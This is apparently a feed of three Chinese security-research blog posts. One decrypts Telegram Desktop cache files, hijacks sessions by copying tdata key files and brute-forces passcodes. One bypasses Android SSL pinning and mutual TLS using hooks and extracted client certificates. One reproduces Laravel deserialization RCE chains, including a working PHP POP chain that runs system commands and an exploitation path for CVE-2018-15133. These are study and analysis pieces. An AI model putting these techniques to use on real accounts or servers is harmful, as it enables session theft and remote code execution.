telegram 使用AES-CTR128模式对缓存文件进行加密，localKey是加密所使用的的密钥。这里并没有使用额外的checksum来校验校验后序加密数据的完整性，Basic Header中的checksum仅仅用来校验Basic Header结构体内成员数据的完整性。


CTR摸式是一种通过将逐次累加的计数器进行加密来生成密钥流的流密码。CTR模式中，每个分组对应一个逐次累加的计数器，并通过对计数器进行加密来生成密钥流。也就是说，最终的密文分组是通过将计数器加密得到的比特序列，与明文分组进行XOR而得到的。

CTR模式中可以以任意顺序对分组进行加密和解密，因此在加密和解密时需要用到的“计数器”的值可以由nonce和分组序号直接计算出来，因此CTR模式能够以任意顺序处理分组，就意味着能够实现并行计算。

解密缓存文件的python代码如下：

with open(path, 'rb') as f:  if f.read(4) != b'TDEF':    raise ValueError('wrong file type')
    salt = f.read(64)    encrypted = f.read(16 + 32)
    real_key = sha256(key[:len(key) // 2] + salt[:32])    iv = sha256(key[len(key) // 2:] + salt[32:])[:16]    d = CtrState(real_key, iv)
    data = d.encrypt(encrypted)    checksum = data[16:]
    if sha256(key + salt + data[:16]) != checksum:      raise ValueError('wrong key')
    return d.encrypt(f.read())

解密后可以很清楚的看到，图片，表情，gif等文件主要都缓存在cache目录中，音频和视频主要缓存在media_cache中。



telegram使用了webp的技术来存储一部分的头像和表情，这么做能够使得体积大幅减少，图片质量也得到保障。

除了webp之外，telegram还有自己的tgs文件 （Telegram Animated stickers），主要使用的是Lottie的技术来存储更高质量的动画表情，然后用gzip压缩，进一步减小动画表情缓存文件的大小。这个github项目可以很方便地将tgs文件转换为gif文件。






文件解析


# key_datas

在对文件的结构有初步的了解后，我们的第一个目标来到key_datas文件，这个文件虽然仅存储了较少的用户数据，但它是所有文件中最关键的文件，因为它保存了解密其他文件的主密钥localKey。

经过一番寻找，发现在Telegram/SourceFiles/storage/storage_domain.cpp:Domain::startModern()函数中对key_datas文件进行了读取，解密以及数据解析等操作，主要步骤如下：

调用ReadFile()函数获取加密数据(keyData) ->   解析keyData，读取salt, keyEncrypted, infoEncrypted ->    调用createLocalKey()函数生成passcodeKey ->       调用DecryptLocal()函数和密钥导出函数，使用导出密钥解密keyEncrypted，得到localKey ->        调用DecryptLocal()函数，使用localkey解密infoEncrypted，得到info->          解析用户数据，初始化账户设置

这里需要关注三个点：

createLocalKey()首先以sha512(salt + passcode + salt)的形式生成hash值。接下来再调用PKCS5_PBKDF2_HMAC_sha512密钥导出函数，将hash和salt作为输入参数，进行重复计算后得到最终的导出密钥passcodeKey。

MTP::AuthKeyPtr CreateLocalKey(const QByteArray &passcode, const QByteArray &salt) {  const auto s = bytes::make_span(salt);  const auto hash = openssl::Sha512(s, bytes::make_span(passcode), s);   const auto iterationsCount = passcode.isEmpty()    ? 1 // Don't slow down for no password.    : kStrongIterationsCount;
  auto key = MTP::AuthKey::Data{ { gsl::byte{} } };  PKCS5_PBKDF2_HMAC(     reinterpret_cast<const char*>(hash.data()),    hash.size(),    reinterpret_cast<const unsigned char*>(s.data()),    s.size(),    iterationsCount,    EVP_sha512(),    key.size(),    reinterpret_cast<unsigned char*>(key.data()));  return std::make_shared<MTP::AuthKey>(key);}

passcodeKey会调用DecryptLocal()函数来解密keyEncrypted，得到localKey。

_passcodeKey = CreateLocalKey(passcode, salt);
EncryptedDescriptor keyInnerData, info;if (!DecryptLocal(keyInnerData, keyEncrypted, _passcodeKey)) {  LOG(("App Info: could not decrypt pass-protected key from info file, "       "maybe bad password..."));  return StartModernResult::IncorrectPasscode;}auto key = Serialize::read<MTP::AuthKey::Data>(keyInnerData.stream);_localKey = std::make_shared<MTP::AuthKey>(key);

解密得到的localkey不只是用来解密infoEncrypted，同时它还是其他加密文件的解密密钥（可以理解为它是主密钥）。程序在这里使用了std::move()操作，将localKey的资源移动给_localKey，_localKey则是后序解密文件所使用的对称密钥。

Domain::StartModernResult Domain::startModern(const QByteArray &passcode) {  auto key = Serialize::read<MTP::AuthKey::Data>(keyInnerData.stream);  // ...  _localKey = std::make_shared<MTP::AuthKey>(key);  // ...  auto config = account->prepareToStart(_localKey);}
std::unique_ptr<MTP::Config> Account::prepareToStart(std::shared_ptr<MTP::AuthKey> localKey) {  return _local->start(std::move(localKey));}
std::unique_ptr<MTP::Config> Account::start(MTP::AuthKeyPtr localKey) {  Expects(localKey != nullptr);
  _localKey = std::move(localKey);  readMapWith(_localKey);  clearLegacyFiles();  return readMtpConfig();} 

下图为解密后的key_datas文件数据：

在拥有了加解密文件的密钥_localKey后，剩下的加密文件就可以轻而易举的解开了。

# settings

settingss文件主要存储了用户页面相关的配置，包括背景图片，颜色，语言包等配置信息。

# D877F783D5D3EF8Cs

D877F783D5D3EF8Cs文件主要存储了用户的userId，以及与telegram云端进行数据通信时所使用到的加密密钥。


# D877F783D5D3EF8C/maps

maps文件中lskSelfSerialized字段存储了用户的基本信息，包括用户id，头像，姓名，注册电话，上次在线时间等信息。而其他字段主要存储的是一些配置或者资源文件的文件名，并且与文章开头列举的D877F783D5D3EF8C文件夹下的文件一一对应。

# D877F783D5D3EF8C/configs

configs文件主要存储了用户聊天，与telegram云端进行通信时的一些基础配置，包括telegram云端的ip和端口，撤回消息的时长限制等配置信息。

# 缓存文件

user_data目录下的缓存文件（图片，语音，视频）大部分都可以通过解密和解析数据得到原始的文件，在这里就不赘述了。






认证过程


telegram官网很详细地介绍了Cloud Chat 和Secret Chat的两种通信方式所使用的加密协议（mproto），密钥交换，身份认证等过程，有兴趣的同学可以配合源码来阅读文档，在这里也不赘述了。

这里讨论两个比较有意思的点：

  • telegram所使用的mproto通信协议是telegram开发者自己实现的一套完整的安全通信协议，不依靠于其他公认的安全通信协议。

  • telegram选择的是AES-IGE模式对文件和消息进行加密，这是一个十分古老的aes加密模式，而且相比于现在常用的加密模式，他并没有什么优势，因此基本上没有人使用AES-IGE的加密模式。

    这个加密模式在认证上还缺失一定的安全性，比如无法抵御blockwise-adaptive CPA攻击。telegram还专门写了一大章节的文字来说明在mproto协议下使用这个模式是安全的（没有选择更换加密模式的原因，可能是为了前后兼容性吧）。

    在搜索资料的过程中，发现许多网友都质疑telegram使用这种加密模式，并在论坛上给官方提了很多“意见”。

    传送门 => https://news.ycombinator.com/item?id=6915741，https://github.com/telegramdesktop/tdesktop/issues





session劫持


telegram 不像 whatsapp，默认是支持多端登录的，这也是telegram能通过迁移tdata的方法来保持session的原因。这种特性对于攻击者来说，就变成了劫持session的最完美的前置条件。

现在流传在网上的session劫持方法都是通过复制整个tdata文件夹进行session的劫持，但对于一个使用了较长时间的telegram来说，tdata的体积会变得十分庞大（MB，甚至GB的量级），这在实战的过程中会有很大的局限性。

现在我们已经有解读大部分tdata文件的能力，因此可以选取最关键（保存session）的文件，减小拖取文件的体积，从而更方便于session的劫持。

通过前面对文件的解密，以及一系列的尝试后，得出能够成功进行session劫持的关键文件有：

  • tdata/key_datas

  • tdata/D877F783D5D3EF8Cs

  • tdata/D877F783D5D3EF8C/map

原因如下：

key_datas保存了解密文件的密钥localKey，D877F783D5D3EF8Cs保存了与云端通信的主密钥，D877F783D5D3EF8C/map保存了用户的基本信息。

比较有意思的一点是，D877F783D5D3EF8Cs这个文件是ToFilePart(substr(md5("data"), 0, 16))的结果，这也从侧面证明了这个文件存储了关键数据。

In[163]: import hashlibIn[164]: md5 = hashlib.md5('data'.encode("utf-8")).digest() In[165]: md5Out[165]: b'\x8dw\x7f8]=\xfe\xc8\x81] \xf7I`&\xdc'In[166]: int.from_bytes(md5, 'little')Out[166]: 292629419324765554216674928803425777549In[167]: ToFilePart(292629419324765554216674928803425777549)Out[167]: 'D877F783D5D3EF8C'  Out[168]: 'data    : D877F783D5D3EF8C -> 8d777f385d3dfec8 (substr (md5_hex ("data"),    0, 16))'Out[169]: 'data#2  : A7FDF864FBC10B77 -> 7adf8f46bf1cb077 (substr (md5_hex ("data#2"),  0, 16))'Out[170]: 'data#3  : F8806DD0C461824F -> 8f08d60d4c1628f4 (substr (md5_hex ("data#3"),  0, 16))'Out[171]: 'data#4  : C2B05980D9127787 -> 2c0b95089d217778 (substr (md5_hex ("data#4"),  0, 16))'Out[172]: 'data#5  : 0CA814316818D8F6 -> c08a411386818d6f (substr (md5_hex ("data#5"),  0, 16))'



注意事项

#1

有的情况下，一个telegram客户端可能登录着多个用户（不超过3个），所有用户的session文件依旧保存在tdata下。telegram客户端会根据登录的次序进行编号，分别为data，data#2，data#3，在session劫持的时候按照文件名进行迁移即可。




#2

在进行session劫持的过程中，如果一直都无法恢复session，并且能够确认session文件没有过期，那么有可能是本地的Telegram.exe版本与目标机器的Telegram.exe不匹配造成的。

telegram在key_datas，maps，D877F783D5D3EF8Cs等文件中都将当前的版本号存储在文件的第4至第8个字节，并且在调用ReadFlie()函数时，telegram客户端会判断文件中的版本号是否大于客户端版本。若大于，则会直接停止读取文件，终止session的恢复。

// read app versionqint32 version;if (f.read((char*)&version, sizeof(version)) != sizeof(version)) {  DEBUG_LOG(("App Info: failed to read version from '%1'").arg(name));  continue;}if (version > AppVersion) {  DEBUG_LOG(("App Info: version too big %1 for '%2', my version %3").arg(version).arg(name).arg(AppVersion));  continue;}

因此，比较取巧的一个办法是，使用当前最新版本的客户端，这样就不会遇到版本不匹配的问题了。




passcode模块


passcode功能类似于个人电脑的锁屏功能，用户通过设置passcode和休眠时长，来保证telegram的信息不被泄露。


在进行session劫持的过程中，有概率会遇到含有passcode的情况。在这种情况下，迁移过来的telegram会呈现下面这种状态，导致攻击者无法查看telegram的信息。




打开DebugLogs/log_xx_xx.txt就可以看到因未提供passcode，而无法解密所产生的错误日志信息：



根据日志输出的信息，可以定位到storage_domain.cpp:startModern()（读取key_data文件）函数，更细一点来说，是在storage_file_utilities.cpp:DecryptLocal()函数中校验checksum的部分。



跟一下代码前后的处理逻辑，用python写出对应的处理流程：

def decryptLocal(encrypted, key) -> bytes:    encryptedKey = encrypted[:16]    decrypted = aesDecryptLocal(encrypted[16:], key, encryptedKey)
    digest = sha1(decrypted)[:16]    if digest != encryptedKey:        raise ValueError('App Info: bad decrypt key, data not decrypted - maybe has passcode)
    dataLen = int.from_bytes(decrypted[:4], 'little')    return decrypted[4:dataLen]
def createLocalKey(passcode, salt) -> bytes:    iterCount = 100_000 if passcode else 1
    hash = hashlib.sha512(salt + passcode + salt).digest()    key = hashlib.pbkdf2_hmac("sha512", hash, salt, iterCount, 256)    return key
qstream = readFile('key_data')
salt = qstream.readBytes()keyEncrypted = qstream.readBytes()infoEncrypted = qstream.readBytes()
_passcodeKey = createLocalKey(passcode, salt)_localKey = decryptLocal(keyEncrypted, _passcodeKey)

可以看到，本质上telegram是通过比对解密后数据的checksum和原始明文的checksum来确认passcode是否正确，若两者的checksum相等，则说明解密所得到的localKey是正确的。

因此，将上述解密localKey的处理流程逆一下，就可以得到加密localKey的流程，但因为在有passcode的情况下，密钥导出函数的迭代次数为100000次，这极大的增加了爆破所需的时长。

这里我使用的是john-the-ripper爆破工具，bleeding-jumbo分支已经集成了telegram passcode爆破模块，支持旧版本和新版本telegram的passcode爆破（在telegram小于v2.1.14以前的迭代次数为4000，并且使用的是PKCS5_PBKDF2_HMAC_SHA1的密钥导出函数），但比较可惜的一点的是，新版本的passcode爆破没有GPU版，只能使用CPU进行爆破。


在passcode解密研究的过程中，同样发现两个比较有意思的点：

  • passcode仅仅影响了key_data单个文件，其他文件的内容并不会发生变化。并且在设置passcode前和设置passcode后，key_data文件内的localKey始终保持不变。

  • passcode（local passcode）将他的字面意思贯彻到了极致，也就是说passcode仅针对于当前的session，而不会上传到云端，更不会影响到其他session的使用。而在session劫持的过程中，因为攻击者是通过复制目标的session文件来达到劫持的目的，这样意味着攻击者和目标使用的是同一个session，而此时session文件已经被passcode进行了二次加密，所以迁移过来的session也需要输入同样的passcode才能进入程序的主页面。





telegram-like程序


potato是一款基于telegram进行二次开发的闭源即时通信软件，官网地址：https://www.potato.im。

A.目录结构

从目录结构可以看出，pdata的目录结构类似于较低版本的telegram目录结构。



在较低版本的telegram中，map*文件不仅仅存储了登录用户的信息和各种配置信息，同时还存储了解密文件的主密钥localKey。在后续高版本的telegram中，才将这两部分数据分别存储在maps文件和key_datas文件。

B.session 劫持

尝试将telegram session劫持的思路运用在potato上，会发现无法成功。将日志与比对成功的session劫持的日志进行比对，发现在恢复session的过程中，调用了类似于getMacAddress函数来获取本机的MAC地址。


因为potato是闭源软件，所以只能通过比对telegram的源码和potato产生的log日志来猜测potato二开的代码逻辑。但是在仔细比对了多个telegram版本的源代码后，并经过了漫长的断网和联网测试，发现telegram客户端中并没有获取本机MAC地址的操作，因此可以有如下的推测：

  • potato在session恢复中加入了MAC地址的校验，若本机MAC地址和session文件中存储的MAC地址不一致则无法恢复session。

  • 目标的MAC地址存储在session文件内。

先来验证第一点，这里我使用的是虚拟机作为劫持端，因为虚拟机可以很轻松的修改MAC地址，并且不会出现断网的情况。迁移方案与低版本的telegram迁移方案一致，复制D877F783D5D3EF8C*和D877F783D5D3EF8C/map*两个文件。从下图可以看到，迁移成功！


接下来验证第二点，这里可以借用解密telegram文件的方法来解密potato文件，但因为potato使用的是低版本的telegram进行二次开发，所以需要更改部分的解密时所使用的加密算法（比如密钥导出函数）和代码逻辑，并且potato增加了一些telegram中没有的字段和数据结构，这给解析数据造成了很大的困扰。

最后根据一番猜测和努力，能成功解密一部分的数据，其中MAC地址就存储在D877F783D5D3EF8C*文件中。




关于我们

长沙零鉴科技有限公司是一家以前沿安全技术为尖刀，高水平安全人才为支柱，在信息安全日益严峻的形势下专业从事网络信息安全技术的自主创新型企业，零鉴科技致力于打击网络犯罪领域的技术研究与产品研发。


截至目前，零鉴科技已为不同省市的多家执法机关提供高效精确的反网络犯罪情报分析服务和优质的安全解决方案。


也欢迎志同道合的小伙伴们与我们共同进步~

简历投递邮箱：hr@zeromirror.cn



END


点击上方蓝字 · 关注我们
CLICK THE BLUE WORD TO FOLLOW US



阅读原文

跳转微信打开

]]> Thu, 20 Jan 2022 15:47:00 +0800 APP抓包方法总结 https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247484297&idx=1&sn=1c39b565150ea53e91dcbdc66997e511 APP抓包方法总结~ 原创 零鉴科技 2021-07-12 18:53

APP抓包方法总结~

APP抓包方法总结


零鉴科技


First

在对app进行https抓包的过程中，总会遇到无法抓取有效数据包的情况，本篇文章就这个问题，收集并总结了一些常用的解决方案。




问题分析



01/

抓包工具无法抓到包，app可正常联网使用

  1. 使用非http协议，直接通过tcp协议或私有协议进行数据传输，比如qq，微信

    这一部分app在进行数据的传输时，大多使用自己实现的一套解析 / 解密流量的算法。若要尝试对这类app进行抓包和分析，那么则需要通过逆向app等较复杂的方法来提取其中的算法。

  2. app内部设置了不走系统代理的选项

    解决方案：可以使用一些第三方代理app（如Http Canary），通过使用系统vpn来强制app的http协议走代理流量，从而实现抓包。


02/   


抓包工具无法抓到包，app无法联网

这类问题，大多数情况下可以归结为证书信任的问题。如果需要使用类似于burp或者fiddler之类的中间人抓包工具对https流量进行拦截和分析，那么势必要让app能够信任此类工具自带的证书，这样流量才能以明文的形式展现。因此，本文的后续内容主要分析在https下如何解决app的证书信任问题。



03/

证书信任

涉及到证书信任问题，不外乎以下几种情况：

  1. 客户端和服务端均不对证书做校验（无认证）

  2. 客户端需要校验服务端的证书（单向认证）

  3. 客户端需要校验服务端的证书，同时服务端也要校验客户端的证书（双向认证）



03-1/

   

无认证

遇到这种情况，直接按照常规步骤抓包即可。但现在不对证书做校验或者说不使用https进行通信的app已经越来越少了，特别是当Android在7.0之后，系统的安全机制都不再信任用户自己的CA证书了。


03-2/




单向认证

这种客户端单向校验服务端证书的情况又叫ssl pinning技术，开发者预先把服务端证书的相关信息预置到App中再打包，这样在https通讯过程中App可以与服务器返回的CA证书可以做合法性校验，如果发现不一致，那么App就可以判断当前环境可能存在代理或者中间人攻击（比如Fiddler/Charles抓包工具），从而终止https链接。因此这种技术可以用来在App端防止一部分"心怀不轨"的人进行通信流量的分析。

有防御就会有对应的绕过方法，目前主要的绕过方法有如下几种：

  1. 信任导入的用户证书

  2. hook证书认证函数

  3. 其他


03-2-1/

信任导入的用户证书

1.将用户证书安装到系统证书列表

将证书安装至系统内部的证书列表中可以解决一部分app不信任用户证书导致对的抓包问题，但是此操作需要将手机root后，才能够访问到系统证书所存放的目录。

安装系统证书有两步：

a. 转换证书格式

// 转换证书的格式$ openssl x509 -in cacert.der -inform DER -out cacert.pem -outform PEM// 提取证书的hash$ openssl x509 -inform PEM -subject_hash -in cacert.pem$ mv cacert.pem xxx.0

b. 使用adb将证书移入/system/etc/security/cacerts/目录下

$ adb push 7bf17d07.0 /data/local/tmp$ adb shell android:/ $ suandroid:/ # mount -o rw,remount / # 挂载/system目录android:/ # mv /data/local/tmp/xxx.0 /system/etc/security/cacerts/xxx.0 # 移动证书android:/ # chmod 644 /system/etc/security/cacerts/xxx.0 # 修改权限

2.使用小于Android 7.0版本的手机

这个方法更具有实用性，而且不需要root手机，只需要将证书安装在用户证书列表即可。若app具有很好的兼容性，那么即使在不同Android版本下运行，其对应的接口也不会有很大的区别。



Android官方文档说明

By default, secure connections (using protocols like TLS and HTTPS) from all apps trust the pre-installed system CAs, and apps targeting Android 6.0 (API level 23) and lower also trust the user-added CA store by default.



03-2-2/    

hook证书认证函数

这类hook方法可以玩出很多花样来，目前也有很多框架和插件支持这样的操作，本文主要介绍以下几种方法：

  1. VirtualXposed + JustTrustMe

    VirtualXposed

    以往来说，若要使用Xposed组件，则需要对手机进行root。但VirtualXposed运用了VirtualApp轻量级沙盒工具和epic hook框架技术，实现了在非root环境下运行Xposed模块（支持Android 5.0~10.0)。

    与 Xposed 相比，目前 VirtualXposed 有两个限制：

    同时，在使用过程中需要注意的一点是：所有的工作（安装Xposed模块，安装APP）必须在 VirtualXposed中进行，否则Xposed模块不会有任何作用。

    JustTrustMe

    JustTrustMe是一个可以绕过证书校验（ssl pinning）的Xposed插件，与其类似的还有SSLUnpinning等插件。其中的原理都类似，主要思路是将目前开发者所常用到的实现https的库（okhttp, apache, jsse）进行hook，替换其中验证证书函数的返回值为真，从而绕过app端的证书认证。

    下面是JustTrustMe中一部分的源码，在这里hook了okhttp3.CertificatePinner.check方法，使其返回值为null，进而跳过验证的步骤。

    1. 不支持修改系统（可以修改普通APP中对系统API的调用），因此重力工具箱，应用控制器等无法使用。

    2. 暂不支持资源hook，因此资源钩子不会起任何作用；使用资源hook的模块，相应的功能不会生效。

try {    classLoader.loadClass("okhttp3.CertificatePinner");    findAndHookMethod("okhttp3.CertificatePinner",        classLoader,        "check",        String.class,        List.class,        new XC_MethodReplacement() {            @Override            protected Object replaceHookedMethod(MethodHookParam methodHookParam) throws Throwable {                return null;            }        });} catch (ClassNotFoundException e) {    Log.d(TAG, "OKHTTP 3.x not found in " + currentPackageName + " -- not hooking");    // pass}

更详细的分析原理见：https://bbs.pediy.com/thread-214012.htm

实践

在VirtualXposed环境下配置SSLUnpinning插件并安装app

绕过某软件的ssl pinning进行抓包

2.Frida

Frida是个轻量级so级别的hook框架，它可以帮助逆向人员对指定的进程的so模块进行分析。它主要提供了功能简单的python接口和功能丰富的js接口，使得hook函数和修改so编程化，值得一提的是接口中包含了主控端与目标进程的交互接口，由此可以即时获取信息并随时进行修改。

利用Frida绕过ssl pinning的步骤参考 -> https://xz.aliyun.com/t/6551#toc-7。最核心的内容在frida-android-repinning.js脚本中，其原理是重载了SSLContext中的TrustManager来信任用户导入的证书。

其他

还有很多比较少用的技巧，比如：

1. 修改apk内容

先将apk进行解包，修改AndroidManifest.xml，配置networkSecurityConfig，添加信任用户证书的选项，再重打包apk。

<base-config cleartextTrafficPermitted="true">  <trust-anchors>    <certificates src="system" />    <certificates src="user" />  </trust-anchors></base-config>


2. 证书固定时间

有的app会设置证书固定的到期时间，这样的配置在证书过期后有可能会让“不怀好意”的人绕过证书固定。   

但上述的操作难度都比较高，而且还不一定能够成功，因此不太建议用来抓包。







03-3/















双向认证

在需要更加安全的通信环境中，不仅客户端需要校验服务端的证书，同时服务端也需要校验客户端的证书，这种情况就叫做SSL双向认证。这种双向认证机制可以保证服务端以及客户端的身份，防止任意一方被伪造。

因此在这种情况下，往往客户端内部会内置一套公钥证书 + 私钥。在SSL/TLS三次握手过程中的第二次握手（见下图），服务端会向客户端请求证书，客户端必须将内置的公钥证书发给服务端，以验证公钥证书的真实性。

用于双向认证的公钥证书和私钥代表了客户端的身份，所以一般都是用.p12或者.bks文件+密钥进行存放，并通过密码进行保护。由于是内置在客户端中，密码一般也是写死在客户端的代码中，有些App为了防反编译会将密码写到so库中。

如果客户端既使用证书固定，又使用双向认证，那么它应该内置一套公钥证书 + 一套公钥证书和私钥。第一套与服务端的公钥证书相同，用于客户端系统校验与服务端发来的证书是否相同，即证书固定；第二套SSL/TLS握手时公钥证书发给服务端，服务端进行签名校验，即双向认证。



03-3-1/

获取客户端证书

客户端证书一般会随着其他资源文件一起打包进apk包中，其常见存储目录为/assets，/res，常见文件后缀为.p12，.bks，.jks，.pfx。诸如刚刚所说到的证书都有密码的保护，因此需要找到证书密码来安装证书才可以进行后续的抓包分析，否则服务端不会接受客户端的请求。

同时，大多数代理工具仅接受p12格式的证书，因此遇到仅有bks格式的证书时，还需要提取出p12的证书，命令如下：

keytool -importkeystore -srckeystore xxx.bks -srcstoretype BKS -destkeystore xxx.p12 -deststoretype PKCS12 -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath bcprov-ext-jdk15to18-169.jar



03-3-2/

实践

首先直接使用Http Canary + 代理进行抓包，发现该app做了证书固定。

使用VirtualXposed + SSLUnpinning绕过证书固定。在burp中可以抓到请求包，但返回包中状态码为400，提示400 No required SSL certificate was sent。这意味着服务端需要认证客户端证书，接下来的工作就是获取客户端的证书了。

使用压缩工具解压apk后，在/assert目录下找到了客户端证书mykey.p12。

接下来通过GDA反编译dex文件，分析app的源代码。很幸运，当前版本下的app没有做很多限制，直接搜索关键词mykey.p12就能够定位加载证书的位置。

查看文档，keystore.load()函数中第二个参数即为解密证书所用的密码。

在这里，通过反编译apk可以直接拿到明文密码，但在有些安全性较高的app中，密码是通过调用了so库中的函数获取到的。因此，在有必要的情况下，还需要反编译so库进行调试分析，获取解密的密码。

在burp的User options中添加客户端ssl证书，输入对应的域名，证书路径和密码。

重新运行app，双向认证绕过成功，可以愉快的抓包了。

在实战的过程中，从官网上下载的最新版本的app是经过加壳的保护的，而从应用商店上下载的app版本低于最新版本，同时没有进行过加壳的操作。在比对这两个apk解压的文件时发现，其使用的客户端证书md5值是完全相同的，因此这里也给获取客户端证书提供了一个新的思路：在当前版本较难提取出客户端证书时，可以尝试对其较低版本的app进行分析，它们有可能使用的是同一个客户端证书。只要提取出了有效的客户端证书，就可以绕过双向认证。


总结一下，此场景下抓包的基本步骤为：

  1. 绕过ssl pinning，抓包查看服务端返回包

  2. 解压apk，寻找客户端证书文件

  3. 如果客户端证书被加密，反编译apk甚至so文件来寻找解密密码




03-3-3/



hook ssl解密函数

这类方法需要配合frida等hook框架使用，同样也需要root手机，其中的原理主要是hook SSL 对数据解密数据的函数。

下面给出两种思路：

  1. 提取证书

    app在进行https通信时必定需要将证书进行解密并存入内存中，因此如果能够找到 app操作证书的地方， hook 这部分函数，打印必要的参数，比如证书和证书密码，就可以获取客户端证书了。

    大部分情况下app操作证书的类都为java.security.KeyStore，那么就可以通过编写frida脚本，hook  java.security.KeyStore 这个类的load(InputStream stream, char[] password)方法，打印形参（也就是证书和密码）即可。

    详细hook脚本在这里：https://api-caller.com/2019/11/05/capture-note/#%E5%8F%8C%E5%90%91%E8%AE%A4%E8%AF%81

  2. 解密https数据

    这个方法就类似于wireshark解密https流量的方法，只要hook了 SSL 加解密的地方，就可以看到明文传输的数据了。但如果要模拟向服务器发送请求的话，还是只能使用第一种方法，因为客户端必须要提交正确的证书，服务端才会响应。

    谷歌官方提供了这个脚本：https://github.com/google/ssl_logger


题外话

xposed + 流行插件和root手机已经被一些app列入了检测名单，有的仅仅会弹出一个提示框，有的会直接退出app。下图是某个app反编译后检测root和xposed的源代码。可以看到这里使用的是黑名单的机制，通过检测root路径和app包名来判断app是否运行在root环境或者xposed框架下。

当然了，这样黑名单的检测方法具有一定的局限性，通过修改系统文件，随机包名等技术都可以绕过这样的检测。



阅读原文

跳转微信打开

]]> Mon, 12 Jul 2021 18:53:00 +0800 Laravel反序列化学习 https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247484277&idx=1&sn=8380f7e4560126e45f5c55feecc2c2c1 Laravel反序列化学习 原创 零鉴科技 2021-05-24 18:43

Laravel反序列化学习

Laravel反序列化学习





本文主要以收集并复现网络上常用的Laravel反序列化RCE链为目的，学习并总结Laravel反序列化的函数调用与内部逻辑。本次复现所使用的Laravel版本为Laravel 5.8.38，Laravel 7.30.4，Laravel 8.38.0，组件版本由composer默认安装。



命令执行




首先直接上一张整理好的Laravel的反系列化脑图，绿色链代表Laravel 5，7，8通用的反序列化链，黄色链代表受限于Laravel版本的反序列化链，红色链代表需要使用到特定版本组件的序列化链。

从脑图中可以看到很明显的一个特征是，Laravel 5，7，8通用的反序列化链的入口基本上都是Illuminate\Broadcasting\PendingBroadcast类的__destruct()方法。通过寻找可利用的__call()魔术方法或者存在dispatch()方法的类来完成后续的利用，最后通过php可变函数的性质或者call_user_func和call_user_func_array来执行命令。

除了PendingBroadcast类，还有一些常用可以进行反序列化的类，如PendingResourceRegistration类和ImportConfigurator类，但是在高版本的Laravel中，ImportConfigurator类加入了__wakeup和__sleep函数，导致该类不能被反序列化，但PendingResourceRegistration类依旧可以使用。

全网中将PendingResourceRegistration作为入口的反序列化链比较少，因此在这里我选择PendingResourceRegistration作为反序列化链挖掘的入口。


在PendingResourceRegistration类中，__destruct()方法会调用类中的register()方法，register()会对应调用$this->registrar的register()方法。其中，$this->registered，$this->name，$this->controller，$this->options均可控。

那么接下来的任务就是寻找含有__call()魔术方法的类或者含有register()方法的类，这里优先选择去寻找可利用的__call()方法。经过一番ctrl+f搜索，找到了一个稍微好利用的类Mockery\Generator\Method，其中__call()方法直接调用了call_user_func_array函数，$this->method可控。


但是因为call_user_func_array的特点，在传入的第一个参数为字符串时，会直接调用对应的函数。如果传入的参数为数组，比如array(new A(), 'b')，则会对应调用A类的b方法。在这里虽然$this->method可控，但是此时$method为调用__call()方法时的函数名，很难做到命令执行，因此还需要再跳一层，寻找__call()方法来执行命令。

最后瞄准了Illuminate\Validation\Validator类，这个类被很多反序列化链作为命令执行的最终类，因为它有着很方便的构造点，并且变量（$this->extensions）可控。传入的$method首先使用substr获取了第8位以后的字符串$rule，接着寻找$this->extensions中是否存在对应与$rule键的值，如果存在并且可以被调用（is_callable），那么就可以利用php可变函数的特性来调用这个函数。

完整的调用栈如下：

下面给出pop链：

<?php// laravel 5, 7, 8 都可namespace Illuminate\Routing {    class PendingResourceRegistration    {        protected $registrar;        protected $registered;        protected $name;        protected $controller;        protected $options;
        public function __construct($registrar, $registered, $name, $controller, $options){            $this->registrar = $registrar;            $this->registered = $registered;            $this->name = $name;            $this->controller = $controller;            $this->options = $options;        }    }}
namespace Mockery\Generator {    class Method    {        private $method;
        public function __construct($method){            $this->method = $method;        }    }}
namespace Illuminate\Validation {    class Validator    {        public $extensions;
        public function __construct($extensions){            $this->extensions = $extensions;        }    }}
namespace {    $a = new Illuminate\Validation\Validator(array('' => 'call_user_func'));    $b = new Mockery\Generator\Method($a);    $c = new Illuminate\Routing\PendingResourceRegistration($b, false, 'call_user_func', 'system', 'ls');    echo(urlencode(serialize($c)));}


这个链的不足在于调用了两次call_user_func。实际上，调用Illuminate\Validation\Validator时就可以任意执行函数了，但是因为传入的参数个数为3个，同时php命令执行相关的函数的参数一般为1个或者2个，因此只能退而求其次，再调用一次call_user_func来执行命令执行函数。


在反序列化的过程中，使用某些链进行命令执行虽然将结果回显，但同时也会产生报错（错误日志存储在storage/logs/laravel.log中）。


写Webshell




基本上，写webshell的链是在命令执行的反序列化链之后往后延伸，寻找可传入多个参数的执行链，在这里就不赘述了。


比较特别的是，在laravel7，8的较新版本中引入了GuzzleHttp组件，这个组件是一个PHP的HTTP客户端，它用来发送请求，并集成到WEB服务上。其中，其中一条写webshell的反序列化链就利用了FileCookieJar类中的__destruct()方法。__destruct()方法中调用了save()方法对cookies进行持久化的存储，其本意是为了保存cookies，但我们可以通过这个机制通过反序列化来写入webshell。


反序列化点



CVE-2018-15133

在laravel版本小于5.6.30中，存在一个cookies反序列化漏洞（CVE-2018-15133），该漏洞允许攻击者在获取到APP KEY的前提下，通过Http头部的Cookies字段，将含有恶意代码的序列化链发送给服务端，因为服务端没有对数据的内容做校验，导致序列化链在服务器上被反序列化，从而执行序列化链内部的恶意代码，导致远程代码执行。


具体漏洞出现在vendor/laravel/framework/src/illuminate/Cookie/Middle/Encrypter.php的decrypt()函数中，该函数对$payload进行了一系列的解析和解密后，调用了unserialize()对$payload['value']进行反序列化。

向上追溯，在vendor/laravel/framework/src/illuminate/Cookie/Middle/EncryptCookies.php中decrypt()函数在获取到Request类对象后，循环对 Cookie的值调用decryptCookie函数进行解密以验证其合法性。

因此我们仅需要一条可利用的反序列化链，再按照laravel Cookies的生成方式，利用获取到的APP KEY生成带有恶意反序列化链的加密Cookies，在请求服务器时带上Cookies即可完成RCE。


laravel使用的默认cookies为laravel_session，通过openssl加密和base64编码后存储在客户端，解密后的内容为序列化的数组。其中iv用来加解密，value保存具体的cookies值，mac用来进行完整性的校验。

其中value字段是反序列化链的关键。在较低版本的laravel中，Cookies并没有加上hmac的校验，因此不需要费力去构造hmac，我们可以在此填入带有命令执行或者写webshell的反序列化链，完成RCE。


下面给出cookies加密规则的脚本（需要设计好反序列化链）：

